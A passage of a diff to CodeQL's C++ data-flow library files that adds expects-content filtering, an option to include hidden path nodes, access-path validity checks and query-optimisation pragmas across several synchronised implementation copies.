+      c = ap.getHead().getContent()
+    )
+  }
+
   pragma[nomagic]
   private predicate castingNodeEx(NodeEx node) { node.asNode() instanceof CastingNode }
 
@@ -1987,7 +2047,12 @@ private module Stage3 {
     exists(state) and
     exists(config) and
     not clear(node, ap, config) and
-    if castingNodeEx(node) then compatibleTypes(node.getDataFlowType(), ap.getType()) else any()
+    (if castingNodeEx(node) then compatibleTypes(node.getDataFlowType(), ap.getType()) else any()) and
+    (
+      notExpectsContent(node)
+      or
+      expectsContentCand(node, ap, config)
+    )
   }
 
   bindingset[ap, contentType]
@@ -2452,10 +2517,24 @@ private module Stage3 {
     storeStepFwd(_, ap, tc, _, _, config)
   }
 
-  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+  private predicate revConsCand(TypedContent tc, Ap ap, Configuration config) {
     storeStepCand(_, ap, tc, _, _, config)
   }
 
+  private predicate validAp(Ap ap, Configuration config) {
+    revFlow(_, _, _, _, ap, config) and ap instanceof ApNil
+    or
+    exists(TypedContent head, Ap tail |
+      consCand(head, tail, config) and
+      ap = apCons(head, tail)
+    )
+  }
+
+  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+    revConsCand(tc, ap, config) and
+    validAp(ap, config)
+  }
+
   pragma[noinline]
   private predicate parameterFlow(
     ParamNodeEx p, Ap ap, Ap ap0, DataFlowCallable c, Configuration config
@@ -3279,10 +3358,24 @@ private module Stage4 {
     storeStepFwd(_, ap, tc, _, _, config)
   }
 
-  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+  private predicate revConsCand(TypedContent tc, Ap ap, Configuration config) {
     storeStepCand(_, ap, tc, _, _, config)
   }
 
+  private predicate validAp(Ap ap, Configuration config) {
+    revFlow(_, _, _, _, ap, config) and ap instanceof ApNil
+    or
+    exists(TypedContent head, Ap tail |
+      consCand(head, tail, config) and
+      ap = apCons(head, tail)
+    )
+  }
+
+  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+    revConsCand(tc, ap, config) and
+    validAp(ap, config)
+  }
+
   pragma[noinline]
   private predicate parameterFlow(
     ParamNodeEx p, Ap ap, Ap ap0, DataFlowCallable c, Configuration config
@@ -3351,17 +3444,28 @@ private Configuration unbindConf(Configuration conf) {
   exists(Configuration c | result = pragma[only_bind_into](c) and conf = pragma[only_bind_into](c))
 }
 
-private predicate nodeMayUseSummary(
-  NodeEx n, FlowState state, AccessPathApprox apa, Configuration config
+pragma[nomagic]
+private predicate nodeMayUseSummary0(
+  NodeEx n, DataFlowCallable c, FlowState state, AccessPathApprox apa, Configuration config
 ) {
-  exists(DataFlowCallable c, AccessPathApprox apa0 |
-    Stage4::parameterMayFlowThrough(_, c, apa, _) and
+  exists(AccessPathApprox apa0 |
+    Stage4::parameterMayFlowThrough(_, c, _, _) and
     Stage4::revFlow(n, state, true, _, apa0, config) and
     Stage4::fwdFlow(n, state, any(CallContextCall ccc), TAccessPathApproxSome(apa), apa0, config) and
     n.getEnclosingCallable() = c
   )
 }
 
+pragma[nomagic]
+private predicate nodeMayUseSummary(
+  NodeEx n, FlowState state, AccessPathApprox apa, Configuration config
+) {
+  exists(DataFlowCallable c |
+    Stage4::parameterMayFlowThrough(_, c, apa, config) and
+    nodeMayUseSummary0(n, c, state, apa, config)
+  )
+}
+
 private newtype TSummaryCtx =
   TSummaryCtxNone() or
   TSummaryCtxSome(ParamNodeEx p, FlowState state, AccessPath ap) {
@@ -3557,7 +3661,7 @@ private newtype TPathNode =
  * of dereference operations needed to get from the value in the node to the
  * tracked object. The final type indicates the type of the tracked object.
  */
-abstract private class AccessPath extends TAccessPath {
+private class AccessPath extends TAccessPath {
   /** Gets the head of this access path, if any. */
   abstract TypedContent getHead();
 
@@ -3772,11 +3876,14 @@ abstract private class PathNodeImpl extends PathNode {
   abstract NodeEx getNodeEx();
 
   predicate isHidden() {
-    hiddenNode(this.getNodeEx().asNode()) and
-    not this.isSource() and
-    not this instanceof PathNodeSink
-    or
-    this.getNodeEx() instanceof TNodeImplicitRead
+    not this.getConfiguration().includeHiddenNodes() and
+    (
+      hiddenNode(this.getNodeEx().asNode()) and
+      not this.isSource() and
+      not this instanceof PathNodeSink
+      or
+      this.getNodeEx() instanceof TNodeImplicitRead
+    )
   }
 
   private string ppAp() {
@@ -4257,6 +4364,12 @@ private module Subpaths {
     )
   }
 
+  pragma[nomagic]
+  private predicate hasSuccessor(PathNode pred, PathNodeMid succ, NodeEx succNode) {
+    succ = pred.getASuccessor() and
+    succNode = succ.getNodeEx()
+  }
+
   /**
    * Holds if `(arg, par, ret, out)` forms a subpath-tuple, that is, flow through
    * a subpath between `par` and `ret` with the connecting edges `arg -> par` and
@@ -4264,15 +4377,13 @@ private module Subpaths {
    */
   predicate subpaths(PathNode arg, PathNodeImpl par, PathNodeImpl ret, PathNode out) {
     exists(ParamNodeEx p, NodeEx o, FlowState sout, AccessPath apout, PathNodeMid out0 |
-      pragma[only_bind_into](arg).getASuccessor() = par and
-      pragma[only_bind_into](arg).getASuccessor() = out0 and
-      subpaths03(arg, p, localStepToHidden*(ret), o, sout, apout) and
+      pragma[only_bind_into](arg).getASuccessor() = pragma[only_bind_into](out0) and
+      subpaths03(pragma[only_bind_into](arg), p, localStepToHidden*(ret), o, sout, apout) and
+      hasSuccessor(pragma[only_bind_into](arg), par, p) and
       not ret.isHidden() and
-      par.getNodeEx() = p and
-      out0.getNodeEx() = o and
-      out0.getState() = sout and
-      out0.getAp() = apout and
-      (out = out0 or out = out0.projectToSink())
+      pathNode(out0, o, sout, _, _, apout, _, _)
+    |
+      out = out0 or out = out0.projectToSink()
     )
   }
 
@@ -4609,6 +4720,10 @@ private module FlowExploration {
       exists(PartialPathNodeRev mid |
         revPartialPathStep(mid, node, state, sc1, sc2, sc3, ap, config) and
         not clearsContentEx(node, ap.getHead()) and
+        (
+          notExpectsContent(node) or
+          expectsContentEx(node, ap.getHead())
+        ) and
         not fullBarrier(node, config) and
         not stateBarrier(node, state, config) and
         distSink(node.getEnclosingCallable(), config) <= config.explorationLimit()
@@ -4625,6 +4740,10 @@ private module FlowExploration {
       not fullBarrier(node, config) and
       not stateBarrier(node, state, config) and
       not clearsContentEx(node, ap.getHead().getContent()) and
+      (
+        notExpectsContent(node) or
+        expectsContentEx(node, ap.getHead().getContent())
+      ) and
       if node.asNode() instanceof CastingNode
       then compatibleTypes(node.getDataFlowType(), ap.getType())
       else any()
diff --git a/cpp/ql/lib/semmle/code/cpp/dataflow/internal/DataFlowImpl4.qll b/cpp/ql/lib/semmle/code/cpp/dataflow/internal/DataFlowImpl4.qll
index f49d975ccf9..fb773ea89f8 100644
--- a/cpp/ql/lib/semmle/code/cpp/dataflow/internal/DataFlowImpl4.qll
+++ b/cpp/ql/lib/semmle/code/cpp/dataflow/internal/DataFlowImpl4.qll
@@ -170,6 +170,14 @@ abstract class Configuration extends string {
    */
   int explorationLimit() { none() }
 
+  /**
+   * Holds if hidden nodes should be included in the data flow graph.
+   *
+   * This feature should only be used for debugging or when the data flow graph
+   * is not visualized (for example in a `path-problem` query).
+   */
+  predicate includeHiddenNodes() { none() }
+
   /**
    * Holds if there is a partial data flow path from `source` to `node`. The
    * approximate distance between `node` and the closest source is `dist` and
@@ -498,23 +506,35 @@ private predicate readSet(NodeEx node1, ContentSet c, NodeEx node2, Configuratio
 }
 
 // inline to reduce fan-out via `getAReadContent`
-pragma[inline]
+bindingset[c]
 private predicate read(NodeEx node1, Content c, NodeEx node2, Configuration config) {
   exists(ContentSet cs |
     readSet(node1, cs, node2, config) and
-    c = cs.getAReadContent()
+    pragma[only_bind_out](c) = pragma[only_bind_into](cs).getAReadContent()
   )
 }
 
 // inline to reduce fan-out via `getAReadContent`
-pragma[inline]
+bindingset[c]
 private predicate clearsContentEx(NodeEx n, Content c) {
   exists(ContentSet cs |
     clearsContentCached(n.asNode(), cs) and
-    c = cs.getAReadContent()
+    pragma[only_bind_out](c) = pragma[only_bind_into](cs).getAReadContent()
   )
 }
 
+// inline to reduce fan-out via `getAReadContent`
+bindingset[c]
+private predicate expectsContentEx(NodeEx n, Content c) {
+  exists(ContentSet cs |
+    expectsContentCached(n.asNode(), cs) and
+    pragma[only_bind_out](c) = pragma[only_bind_into](cs).getAReadContent()
+  )
+}
+
+pragma[nomagic]
+private predicate notExpectsContent(NodeEx n) { not expectsContentCached(n.asNode(), _) }
+
 pragma[nomagic]
 private predicate store(
   NodeEx node1, TypedContent tc, NodeEx node2, DataFlowType contentType, Configuration config
@@ -793,7 +813,7 @@ private module Stage1 {
    * by `revFlow`.
    */
   pragma[nomagic]
-  private predicate revFlowIsReadAndStored(Content c, Configuration conf) {
+  predicate revFlowIsReadAndStored(Content c, Configuration conf) {
     revFlowConsCand(c, conf) and
     revFlowStore(c, _, _, conf)
   }
@@ -891,7 +911,7 @@ private module Stage1 {
 
   pragma[nomagic]
   predicate readStepCand(NodeEx n1, Content c, NodeEx n2, Configuration config) {
-    revFlowIsReadAndStored(pragma[only_bind_into](c), pragma[only_bind_into](config)) and
+    revFlowIsReadAndStored(c, pragma[only_bind_into](config)) and
     read(n1, c, n2, pragma[only_bind_into](config)) and
     revFlow(n2, pragma[only_bind_into](config))
   }
@@ -1181,11 +1201,26 @@ private module Stage2 {
 
   private predicate flowIntoCall = flowIntoCallNodeCand1/5;
 
+  pragma[nomagic]
+  private predicate expectsContentCand(NodeEx node, Configuration config) {
+    exists(Content c |
+      PrevStage::revFlow(node, pragma[only_bind_into](config)) and
+      PrevStage::revFlowIsReadAndStored(c, pragma[only_bind_into](config)) and
+      expectsContentEx(node, c)
+    )
+  }
+
   bindingset[node, state, ap, config]
   private predicate filter(NodeEx node, FlowState state, Ap ap, Configuration config) {
     PrevStage::revFlowState(state, pragma[only_bind_into](config)) and
     exists(ap) and
-    not stateBarrier(node, state, config)
+    not stateBarrier(node, state, config) and
+    (
+      notExpectsContent(node)
+      or
+      ap = true and
+      expectsContentCand(node, config)
+    )
   }
 
   bindingset[ap, contentType]
@@ -1646,10 +1681,24 @@ private module Stage2 {
     storeStepFwd(_, ap, tc, _, _, config)
   }
 
-  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+  private predicate revConsCand(TypedContent tc, Ap ap, Configuration config) {
     storeStepCand(_, ap, tc, _, _, config)
   }
 
+  private predicate validAp(Ap ap, Configuration config) {
+    revFlow(_, _, _, _, ap, config) and ap instanceof ApNil
+    or
+    exists(TypedContent head, Ap tail |
+      consCand(head, tail, config) and
+      ap = apCons(head, tail)
+    )
+  }
+
+  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+    revConsCand(tc, ap, config) and
+    validAp(ap, config)
+  }
+
   pragma[noinline]
   private predicate parameterFlow(
     ParamNodeEx p, Ap ap, Ap ap0, DataFlowCallable c, Configuration config
@@ -1740,7 +1789,8 @@ private module LocalFlowBigStep {
   private class FlowCheckNode extends NodeEx {
     FlowCheckNode() {
       castNode(this.asNode()) or
-      clearsContentCached(this.asNode(), _)
+      clearsContentCached(this.asNode(), _) or
+      expectsContentCached(this.asNode(), _)
     }
   }
 
@@ -1979,6 +2029,16 @@ private module Stage3 {
     clearContent(node, ap.getHead().getContent(), config)
   }
 
+  pragma[nomagic]
+  private predicate expectsContentCand(NodeEx node, Ap ap, Configuration config) {
+    exists(Content c |
+      PrevStage::revFlow(node, pragma[only_bind_into](config)) and
+      PrevStage::readStepCand(_, c, _, pragma[only_bind_into](config)) and
+      expectsContentEx(node, c) and
+      c = ap.getHead().getContent()
+    )
+  }
+
   pragma[nomagic]
   private predicate castingNodeEx(NodeEx node) { node.asNode() instanceof CastingNode }
 
@@ -1987,7 +2047,12 @@ private module Stage3 {
     exists(state) and
     exists(config) and
     not clear(node, ap, config) and
-    if castingNodeEx(node) then compatibleTypes(node.getDataFlowType(), ap.getType()) else any()
+    (if castingNodeEx(node) then compatibleTypes(node.getDataFlowType(), ap.getType()) else any()) and
+    (
+      notExpectsContent(node)
+      or
+      expectsContentCand(node, ap, config)
+    )
   }
 
   bindingset[ap, contentType]
@@ -2452,10 +2517,24 @@ private module Stage3 {
     storeStepFwd(_, ap, tc, _, _, config)
   }
 
-  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+  private predicate revConsCand(TypedContent tc, Ap ap, Configuration config) {
     storeStepCand(_, ap, tc, _, _, config)
   }
 
+  private predicate validAp(Ap ap, Configuration config) {
+    revFlow(_, _, _, _, ap, config) and ap instanceof ApNil
+    or
+    exists(TypedContent head, Ap tail |
+      consCand(head, tail, config) and
+      ap = apCons(head, tail)
+    )
+  }
+
+  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+    revConsCand(tc, ap, config) and
+    validAp(ap, config)
+  }
+
   pragma[noinline]
   private predicate parameterFlow(
     ParamNodeEx p, Ap ap, Ap ap0, DataFlowCallable c, Configuration config
@@ -3279,10 +3358,24 @@ private module Stage4 {
     storeStepFwd(_, ap, tc, _, _, config)
   }
 
-  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+  private predicate revConsCand(TypedContent tc, Ap ap, Configuration config) {
     storeStepCand(_, ap, tc, _, _, config)
   }
 
+  private predicate validAp(Ap ap, Configuration config) {
+    revFlow(_, _, _, _, ap, config) and ap instanceof ApNil
+    or
+    exists(TypedContent head, Ap tail |
+      consCand(head, tail, config) and
+      ap = apCons(head, tail)
+    )
+  }
+
+  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+    revConsCand(tc, ap, config) and
+    validAp(ap, config)
+  }
+
   pragma[noinline]
   private predicate parameterFlow(
     ParamNodeEx p, Ap ap, Ap ap0, DataFlowCallable c, Configuration config
@@ -3351,17 +3444,28 @@ private Configuration unbindConf(Configuration conf) {
   exists(Configuration c | result = pragma[only_bind_into](c) and conf = pragma[only_bind_into](c))
 }
 
-private predicate nodeMayUseSummary(
-  NodeEx n, FlowState state, AccessPathApprox apa, Configuration config
+pragma[nomagic]
+private predicate nodeMayUseSummary0(
+  NodeEx n, DataFlowCallable c, FlowState state, AccessPathApprox apa, Configuration config
 ) {
-  exists(DataFlowCallable c, AccessPathApprox apa0 |
-    Stage4::parameterMayFlowThrough(_, c, apa, _) and
+  exists(AccessPathApprox apa0 |
+    Stage4::parameterMayFlowThrough(_, c, _, _) and
     Stage4::revFlow(n, state, true, _, apa0, config) and
     Stage4::fwdFlow(n, state, any(CallContextCall ccc), TAccessPathApproxSome(apa), apa0, config) and
     n.getEnclosingCallable() = c
   )
 }
 
+pragma[nomagic]
+private predicate nodeMayUseSummary(
+  NodeEx n, FlowState state, AccessPathApprox apa, Configuration config
+) {
+  exists(DataFlowCallable c |
+    Stage4::parameterMayFlowThrough(_, c, apa, config) and
+    nodeMayUseSummary0(n, c, state, apa, config)
+  )
+}
+
 private newtype TSummaryCtx =
   TSummaryCtxNone() or
   TSummaryCtxSome(ParamNodeEx p, FlowState state, AccessPath ap) {
@@ -3557,7 +3661,7 @@ private newtype TPathNode =
  * of dereference operations needed to get from the value in the node to the
  * tracked object. The final type indicates the type of the tracked object.
  */
-abstract private class AccessPath extends TAccessPath {
+private class AccessPath extends TAccessPath {
   /** Gets the head of this access path, if any. */
   abstract TypedContent getHead();
 
@@ -3772,11 +3876,14 @@ abstract private class PathNodeImpl extends PathNode {
   abstract NodeEx getNodeEx();
 
   predicate isHidden() {
-    hiddenNode(this.getNodeEx().asNode()) and
-    not this.isSource() and
-    not this instanceof PathNodeSink
-    or
-    this.getNodeEx() instanceof TNodeImplicitRead
+    not this.getConfiguration().includeHiddenNodes() and
+    (
+      hiddenNode(this.getNodeEx().asNode()) and
+      not this.isSource() and
+      not this instanceof PathNodeSink
+      or
+      this.getNodeEx() instanceof TNodeImplicitRead
+    )
   }
 
   private string ppAp() {
@@ -4257,6 +4364,12 @@ private module Subpaths {
     )
   }
 
+  pragma[nomagic]
+  private predicate hasSuccessor(PathNode pred, PathNodeMid succ, NodeEx succNode) {
+    succ = pred.getASuccessor() and
+    succNode = succ.getNodeEx()
+  }
+
   /**
    * Holds if `(arg, par, ret, out)` forms a subpath-tuple, that is, flow through
    * a subpath between `par` and `ret` with the connecting edges `arg -> par` and
@@ -4264,15 +4377,13 @@ private module Subpaths {
    */
   predicate subpaths(PathNode arg, PathNodeImpl par, PathNodeImpl ret, PathNode out) {
     exists(ParamNodeEx p, NodeEx o, FlowState sout, AccessPath apout, PathNodeMid out0 |
-      pragma[only_bind_into](arg).getASuccessor() = par and
-      pragma[only_bind_into](arg).getASuccessor() = out0 and
-      subpaths03(arg, p, localStepToHidden*(ret), o, sout, apout) and
+      pragma[only_bind_into](arg).getASuccessor() = pragma[only_bind_into](out0) and
+      subpaths03(pragma[only_bind_into](arg), p, localStepToHidden*(ret), o, sout, apout) and
+      hasSuccessor(pragma[only_bind_into](arg), par, p) and
       not ret.isHidden() and
-      par.getNodeEx() = p and
-      out0.getNodeEx() = o and
-      out0.getState() = sout and
-      out0.getAp() = apout and
-      (out = out0 or out = out0.projectToSink())
+      pathNode(out0, o, sout, _, _, apout, _, _)
+    |
+      out = out0 or out = out0.projectToSink()
     )
   }
 
@@ -4609,6 +4720,10 @@ private module FlowExploration {
       exists(PartialPathNodeRev mid |
         revPartialPathStep(mid, node, state, sc1, sc2, sc3, ap, config) and
         not clearsContentEx(node, ap.getHead()) and
+        (
+          notExpectsContent(node) or
+          expectsContentEx(node, ap.getHead())
+        ) and
         not fullBarrier(node, config) and
         not stateBarrier(node, state, config) and
         distSink(node.getEnclosingCallable(), config) <= config.explorationLimit()
@@ -4625,6 +4740,10 @@ private module FlowExploration {
       not fullBarrier(node, config) and
       not stateBarrier(node, state, config) and
       not clearsContentEx(node, ap.getHead().getContent()) and
+      (
+        notExpectsContent(node) or
+        expectsContentEx(node, ap.getHead().getContent())
+      ) and
       if node.asNode() instanceof CastingNode
       then compatibleTypes(node.getDataFlowType(), ap.getType())
       else any()
diff --git a/cpp/ql/lib/semmle/code/cpp/dataflow/internal/DataFlowImplCommon.qll b/cpp/ql/lib/semmle/code/cpp/dataflow/internal/DataFlowImplCommon.qll
index 100ffde2616..0079b259260 100644
--- a/cpp/ql/lib/semmle/code/cpp/dataflow/internal/DataFlowImplCommon.qll
+++ b/cpp/ql/lib/semmle/code/cpp/dataflow/internal/DataFlowImplCommon.qll
@@ -305,7 +305,7 @@ cached
 private module Cached {
   /**
    * If needed, call this predicate from `DataFlowImplSpecific.qll` in order to
-   * force a stage-dependency on the `DataFlowImplCommon.qll` stage and therby
+   * force a stage-dependency on the `DataFlowImplCommon.qll` stage and thereby
    * collapsing the two stages.
    */
   cached
@@ -328,6 +328,9 @@ private module Cached {
   cached
   predicate clearsContentCached(Node n, ContentSet c) { clearsContent(n, c) }
 
+  cached
+  predicate expectsContentCached(Node n, ContentSet c) { expectsContent(n, c) }
+
   cached
   predicate isUnreachableInCallCached(Node n, DataFlowCall call) { isUnreachableInCall(n, call) }
 
diff --git a/cpp/ql/lib/semmle/code/cpp/dataflow/internal/DataFlowImplLocal.qll b/cpp/ql/lib/semmle/code/cpp/dataflow/internal/DataFlowImplLocal.qll
index f49d975ccf9..fb773ea89f8 100644
--- a/cpp/ql/lib/semmle/code/cpp/dataflow/internal/DataFlowImplLocal.qll
+++ b/cpp/ql/lib/semmle/code/cpp/dataflow/internal/DataFlowImplLocal.qll
@@ -170,6 +170,14 @@ abstract class Configuration extends string {
    */
   int explorationLimit() { none() }
 
+  /**
+   * Holds if hidden nodes should be included in the data flow graph.
+   *
+   * This feature should only be used for debugging or when the data flow graph
+   * is not visualized (for example in a `path-problem` query).
+   */
+  predicate includeHiddenNodes() { none() }
+
   /**
    * Holds if there is a partial data flow path from `source` to `node`. The
    * approximate distance between `node` and the closest source is `dist` and
@@ -498,23 +506,35 @@ private predicate readSet(NodeEx node1, ContentSet c, NodeEx node2, Configuratio
 }
 
 // inline to reduce fan-out via `getAReadContent`
-pragma[inline]
+bindingset[c]
 private predicate read(NodeEx node1, Content c, NodeEx node2, Configuration config) {
   exists(ContentSet cs |
     readSet(node1, cs, node2, config) and
-    c = cs.getAReadContent()
+    pragma[only_bind_out](c) = pragma[only_bind_into](cs).getAReadContent()
   )
 }
 
 // inline to reduce fan-out via `getAReadContent`
-pragma[inline]
+bindingset[c]
 private predicate clearsContentEx(NodeEx n, Content c) {
   exists(ContentSet cs |
     clearsContentCached(n.asNode(), cs) and
-    c = cs.getAReadContent()
+    pragma[only_bind_out](c) = pragma[only_bind_into](cs).getAReadContent()
   )
 }
 
+// inline to reduce fan-out via `getAReadContent`
+bindingset[c]
+private predicate expectsContentEx(NodeEx n, Content c) {
+  exists(ContentSet cs |
+    expectsContentCached(n.asNode(), cs) and
+    pragma[only_bind_out](c) = pragma[only_bind_into](cs).getAReadContent()
+  )
+}
+
+pragma[nomagic]
+private predicate notExpectsContent(NodeEx n) { not expectsContentCached(n.asNode(), _) }
+
 pragma[nomagic]
 private predicate store(
   NodeEx node1, TypedContent tc, NodeEx node2, DataFlowType contentType, Configuration config
@@ -793,7 +813,7 @@ private module Stage1 {
    * by `revFlow`.
    */
   pragma[nomagic]
-  private predicate revFlowIsReadAndStored(Content c, Configuration conf) {
+  predicate revFlowIsReadAndStored(Content c, Configuration conf) {
     revFlowConsCand(c, conf) and
     revFlowStore(c, _, _, conf)
   }
@@ -891,7 +911,7 @@ private module Stage1 {
 
   pragma[nomagic]
   predicate readStepCand(NodeEx n1, Content c, NodeEx n2, Configuration config) {
-    revFlowIsReadAndStored(pragma[only_bind_into](c), pragma[only_bind_into](config)) and
+    revFlowIsReadAndStored(c, pragma[only_bind_into](config)) and
     read(n1, c, n2, pragma[only_bind_into](config)) and
     revFlow(n2, pragma[only_bind_into](config))
   }
@@ -1181,11 +1201,26 @@ private module Stage2 {
 
   private predicate flowIntoCall = flowIntoCallNodeCand1/5;
 
+  pragma[nomagic]
+  private predicate expectsContentCand(NodeEx node, Configuration config) {
+    exists(Content c |
+      PrevStage::revFlow(node, pragma[only_bind_into](config)) and
+      PrevStage::revFlowIsReadAndStored(c, pragma[only_bind_into](config)) and
+      expectsContentEx(node, c)
+    )
+  }
+
   bindingset[node, state, ap, config]
   private predicate filter(NodeEx node, FlowState state, Ap ap, Configuration config) {
     PrevStage::revFlowState(state, pragma[only_bind_into](config)) and
     exists(ap) and
-    not stateBarrier(node, state, config)
+    not stateBarrier(node, state, config) and
+    (
+      notExpectsContent(node)
+      or
+      ap = true and
+      expectsContentCand(node, config)
+    )
   }
 
   bindingset[ap, contentType]
@@ -1646,10 +1681,24 @@ private module Stage2 {
     storeStepFwd(_, ap, tc, _, _, config)
   }
 
-  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+  private predicate revConsCand(TypedContent tc, Ap ap, Configuration config) {
     storeStepCand(_, ap, tc, _, _, config)
   }
 
+  private predicate validAp(Ap ap, Configuration config) {
+    revFlow(_, _, _, _, ap, config) and ap instanceof ApNil
+    or
+    exists(TypedContent head, Ap tail |
+      consCand(head, tail, config) and
+      ap = apCons(head, tail)
+    )
+  }
+
+  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+    revConsCand(tc, ap, config) and
+    validAp(ap, config)
+  }
+
   pragma[noinline]
   private predicate parameterFlow(
     ParamNodeEx p, Ap ap, Ap ap0, DataFlowCallable c, Configuration config
@@ -1740,7 +1789,8 @@ private module LocalFlowBigStep {
   private class FlowCheckNode extends NodeEx {
     FlowCheckNode() {
       castNode(this.asNode()) or
-      clearsContentCached(this.asNode(), _)
+      clearsContentCached(this.asNode(), _) or
+      expectsContentCached(this.asNode(), _)
     }
   }
 
@@ -1979,6 +2029,16 @@ private module Stage3 {
     clearContent(node, ap.getHead().getContent(), config)
   }
 
+  pragma[nomagic]
+  private predicate expectsContentCand(NodeEx node, Ap ap, Configuration config) {
+    exists(Content c |
+      PrevStage::revFlow(node, pragma[only_bind_into](config)) and
+      PrevStage::readStepCand(_, c, _, pragma[only_bind_into](config)) and
+      expectsContentEx(node, c) and
+      c = ap.getHead().getContent()
+    )
+  }
+
   pragma[nomagic]
   private predicate castingNodeEx(NodeEx node) { node.asNode() instanceof CastingNode }
 
@@ -1987,7 +2047,12 @@ private module Stage3 {
     exists(state) and
     exists(config) and
     not clear(node, ap, config) and
-    if castingNodeEx(node) then compatibleTypes(node.getDataFlowType(), ap.getType()) else any()
+    (if castingNodeEx(node) then compatibleTypes(node.getDataFlowType(), ap.getType()) else any()) and
+    (
+      notExpectsContent(node)
+      or
+      expectsContentCand(node, ap, config)
+    )
   }
 
   bindingset[ap, contentType]
@@ -2452,10 +2517,24 @@ private module Stage3 {
     storeStepFwd(_, ap, tc, _, _, config)
   }
 
-  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+  private predicate revConsCand(TypedContent tc, Ap ap, Configuration config) {
     storeStepCand(_, ap, tc, _, _, config)
   }
 
+  private predicate validAp(Ap ap, Configuration config) {
+    revFlow(_, _, _, _, ap, config) and ap instanceof ApNil
+    or
+    exists(TypedContent head, Ap tail |
+      consCand(head, tail, config) and
+      ap = apCons(head, tail)
+    )
+  }
+
+  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+    revConsCand(tc, ap, config) and
+    validAp(ap, config)
+  }
+
   pragma[noinline]
   private predicate parameterFlow(
     ParamNodeEx p, Ap ap, Ap ap0, DataFlowCallable c, Configuration config
@@ -3279,10 +3358,24 @@ private module Stage4 {
     storeStepFwd(_, ap, tc, _, _, config)
   }
 
-  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+  private predicate revConsCand(TypedContent tc, Ap ap, Configuration config) {
     storeStepCand(_, ap, tc, _, _, config)
   }
 
+  private predicate validAp(Ap ap, Configuration config) {
+    revFlow(_, _, _, _, ap, config) and ap instanceof ApNil
+    or
+    exists(TypedContent head, Ap tail |
+      consCand(head, tail, config) and
+      ap = apCons(head, tail)
+    )
+  }
+
+  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+    revConsCand(tc, ap, config) and
+    validAp(ap, config)
+  }
+
   pragma[noinline]
   private predicate parameterFlow(
     ParamNodeEx p, Ap ap, Ap ap0, DataFlowCallable c, Configuration config
@@ -3351,17 +3444,28 @@ private Configuration unbindConf(Configuration conf) {
   exists(Configuration c | result = pragma[only_bind_into](c) and conf = pragma[only_bind_into](c))
 }
 
-private predicate nodeMayUseSummary(
-  NodeEx n, FlowState state, AccessPathApprox apa, Configuration config
+pragma[nomagic]
+private predicate nodeMayUseSummary0(
+  NodeEx n, DataFlowCallable c, FlowState state, AccessPathApprox apa, Configuration config
 ) {
-  exists(DataFlowCallable c, AccessPathApprox apa0 |
-    Stage4::parameterMayFlowThrough(_, c, apa, _) and
+  exists(AccessPathApprox apa0 |
+    Stage4::parameterMayFlowThrough(_, c, _, _) and
     Stage4::revFlow(n, state, true, _, apa0, config) and
     Stage4::fwdFlow(n, state, any(CallContextCall ccc), TAccessPathApproxSome(apa), apa0, config) and
     n.getEnclosingCallable() = c
   )
 }
 
+pragma[nomagic]
+private predicate nodeMayUseSummary(
+  NodeEx n, FlowState state, AccessPathApprox apa, Configuration config
+) {
+  exists(DataFlowCallable c |
+    Stage4::parameterMayFlowThrough(_, c, apa, config) and
+    nodeMayUseSummary0(n, c, state, apa, config)
+  )
+}
+
 private newtype TSummaryCtx =
   TSummaryCtxNone() or
   TSummaryCtxSome(ParamNodeEx p, FlowState state, AccessPath ap) {
@@ -3557,7 +3661,7 @@ private newtype TPathNode =
  * of dereference operations needed to get from the value in the node to the
  * tracked object. The final type indicates the type of the tracked object.
  */
-abstract private class AccessPath extends TAccessPath {
+private class AccessPath extends TAccessPath {
   /** Gets the head of this access path, if any. */
   abstract TypedContent getHead();
 
@@ -3772,11 +3876,14 @@ abstract private class PathNodeImpl extends PathNode {
   abstract NodeEx getNodeEx();
 
   predicate isHidden() {
-    hiddenNode(this.getNodeEx().asNode()) and
-    not this.isSource() and
-    not this instanceof PathNodeSink
-    or
-    this.getNodeEx() instanceof TNodeImplicitRead
+    not this.getConfiguration().includeHiddenNodes() and
+    (
+      hiddenNode(this.getNodeEx().asNode()) and
+      not this.isSource() and
+      not this instanceof PathNodeSink
+      or
+      this.getNodeEx() instanceof TNodeImplicitRead
+    )
   }
 
   private string ppAp() {
@@ -4257,6 +4364,12 @@ private module Subpaths {
     )
   }
 
+  pragma[nomagic]
+  private predicate hasSuccessor(PathNode pred, PathNodeMid succ, NodeEx succNode) {
+    succ = pred.getASuccessor() and
+    succNode = succ.getNodeEx()
+  }
+
   /**
    * Holds if `(arg, par, ret, out)` forms a subpath-tuple, that is, flow through
    * a subpath between `par` and `ret` with the connecting edges `arg -> par` and
@@ -4264,15 +4377,13 @@ private module Subpaths {
    */
   predicate subpaths(PathNode arg, PathNodeImpl par, PathNodeImpl ret, PathNode out) {
     exists(ParamNodeEx p, NodeEx o, FlowState sout, AccessPath apout, PathNodeMid out0 |
-      pragma[only_bind_into](arg).getASuccessor() = par and
-      pragma[only_bind_into](arg).getASuccessor() = out0 and
-      subpaths03(arg, p, localStepToHidden*(ret), o, sout, apout) and
+      pragma[only_bind_into](arg).getASuccessor() = pragma[only_bind_into](out0) and
+      subpaths03(pragma[only_bind_into](arg), p, localStepToHidden*(ret), o, sout, apout) and
+      hasSuccessor(pragma[only_bind_into](arg), par, p) and
       not ret.isHidden() and
-      par.getNodeEx() = p and
-      out0.getNodeEx() = o and
-      out0.getState() = sout and
-      out0.getAp() = apout and
-      (out = out0 or out = out0.projectToSink())
+      pathNode(out0, o, sout, _, _, apout, _, _)
+    |
+      out = out0 or out = out0.projectToSink()
     )
   }
 
@@ -4609,6 +4720,10 @@ private module FlowExploration {
       exists(PartialPathNodeRev mid |
         revPartialPathStep(mid, node, state, sc1, sc2, sc3, ap, config) and
         not clearsContentEx(node, ap.getHead()) and
+        (
